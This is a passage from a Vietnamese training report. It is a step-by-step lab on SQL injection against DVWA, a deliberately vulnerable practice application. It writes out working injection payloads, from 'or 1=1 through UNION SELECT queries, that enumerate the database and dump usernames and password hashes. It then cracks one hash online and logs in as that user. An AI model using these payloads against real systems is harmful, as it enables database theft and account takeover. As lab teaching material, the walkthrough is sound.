Thử nghiệm tấn công SQL Injection trên DVWA

Một phần của tài liệu Điều tra tấn công web (Trang 63 - 74)

CHƯƠNG 3. THỰC HÀNH TẤN CÔNG WEBSITE VÀ SỬ DỤNG

3.1. T HỰC HÀNH TẤN CÔNG SQL INJECTION TRÊN DVWA VÀ SỬ DỤNG

3.1.3. Các bước thực hiện

3.1.3.2. Thử nghiệm tấn công SQL Injection trên DVWA

Bước 1: Mở xampp và chạy như hình ở bước 1 mục 3.3.1 Bước 2: Thực hiện như bước 5 mục 3.3.1

Bước 3: Chọn mục DVWA security > Nhấn chọn low sau đó nhấn submit

Hình 3. 8.. Cấu hình bảo mật mức low (thấp) cho dvwa

Bước 4: Nhấn chọn mục SQL Injection sau đó nhập “1” vào trường User ID sau đó nhấn Submit và xem kết quả

Hình 3. 9. Kết quả sau khi nhập: “1” vào trường User ID và nhấn Submit

Chúng ta có thể thấy tên người dùng admin (gồm First name và Surname đều là admin) trong CSDL xuất hiện theo số ID ở đây là 1, kết quả tương tự khi ta nhập vào các số là “2,3,4,…”

Bước 5: Tiếp tục nhập: “ ‘or 1=1-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 10. Kết quả sau khi nhập: “ ‘or 1=1-- - ” vào trường User ID và nhấn Submit

Kết quả sẽ nhận được thông tin của tất cả các users có trong cơ sở dữ liệu.

Chúng ta có thể thấy biểu thức này khiến câu truy vấn của SQL luôn đúng. Ví dụ ta có lệnh:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, có thể thay "--" thành "#".

Bước 6: Nhập: “ ‘union select 1,version()-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 11 . Kết quả sau khi nhập: “ ‘union select 1,version()-- - ” vào trường User ID và nhấn Submit

Mệnh đề “union” là kết hợp, tập hợp của hai hay nhiều kết quả của câu lệnh “select”, “1” ở đây là số cột được chọn, “version()” sẽ cho thấy phiên bản của CSDL là 10.4.22

Bước 7: Nhập: “ ‘union select 1,user()-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 12. Kết quả sau khi nhập: “ ‘union select 1,version()-- - ” vào trường User ID và nhấn Submit

Câu truy vấn này cho phép lấy ra tên user đăng nhập ở đây là

“dvwa@localhost”

Bước 8: Nhập: “ ‘union select 1,database()-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 13. Kết quả sau khi nhập: “ ‘union select 1,database()-- - ” vào trường User ID và nhấn Submit

Câu truy vấn này sẽ cho kết quả tên của CSDL ở đây là “dvwa

Bước 9: Nhập: “ ‘union select 1,@@port-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 14. Kết quả sau khi nhập: “ ‘union select 1,@@port-- - ” vào trường User ID và nhấn Submit

Câu truy vấn này sẽ cho hiển thị cổng kết nối của MySQL là 3306

Bước 10: Nhập: “ ‘union select table_schema,null from information_schema.tables-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả:

Hình 3. 15. Kết quả sau khi nhập: “ ‘union select table_schema,null from information_schema.tables-- -” vào trường User ID và nhấn Submit

Câu truy vấn này sẽ cho phép hiển thị toàn bộ tên của các CSDL trong MySQL Bước 11: Nhập: “ ‘union select table_schema,null from information_schema.tables where table_schema=’dvwa’-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 16. Kết quả sau khi nhập: “ ‘union select table_schema,null from information_schema.tables where table_schema=’dvwa’-- -” vào trường User

ID và nhấn Submit

Câu truy vấn này cho phép hiển thị các bảng có trong CSDL “dvwa”

Bước 12: Nhập: “ ‘union select table_name,column_name from information_schema.columns where table_name=’dvwa’-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 17. Kết quả sau khi nhập: “ ‘union select table_name,column_name from information_schema.columns where table_name=’dvwa’-- -” vào trường

User ID và nhấn Submit

Câu truy vấn này cho phép lấy tất cả các cột có trong bảng “users”

Bước 13: Nhập: “ ‘union select user,password from users-- - “ vào trường User ID sau đó nhấn Submit để xem kết quả

Hình 3. 18. Kết quả sau khi nhập: “ ‘union select user,password from users-- -”

vào trường User ID và nhấn Submit

Câu truy vấn này sẽ lấy tất cả tên tài khoản và mật khẩu của người dùng có trong bảng users

Bước 14: Mở Notepad, sao chép và dán username và password từ DVWA vào, sau đó Save để lưu kết quả.

Hình 3. 19. Lưu mật khẩu và tên người dùng trong bảng users vào Notepad để sử dụng vào mục đích đăng nhập tài khoản trên DVWA

Bước 15: Chúng ta có thể truy cập các trang web hỗ trợ giải mã pass MD5 trực tuyến, ví dụ như trang web: https://md5online.org/ hoặc rất nhiều trang web khác.

Chúng ta có thể thấy 1 mật khẩu dạng hàm băm MD5 của người dùng có tên là gordonb sau khi giải mã là abc123

Bước 16: Bây giờ chúng ta sẽ quay lại trang đăng nhập của DVWA và tiến hành điền tên Username là gordonb và Password là acb123 sau đó nhấn enter

Hình 3. 20. Đăng nhập vào trang quản trị DVWA với tên tài khoản là

“gordonb” và mật khẩu là “abc123”

Vậy là chúng ta đã đăng nhập thành công vào giao diện quản trị DVWA với tên người dùng là gordonb

Một phần của tài liệu Điều tra tấn công web (Trang 63 - 74)

Tải bản đầy đủ (DOCX)

(100 trang)
w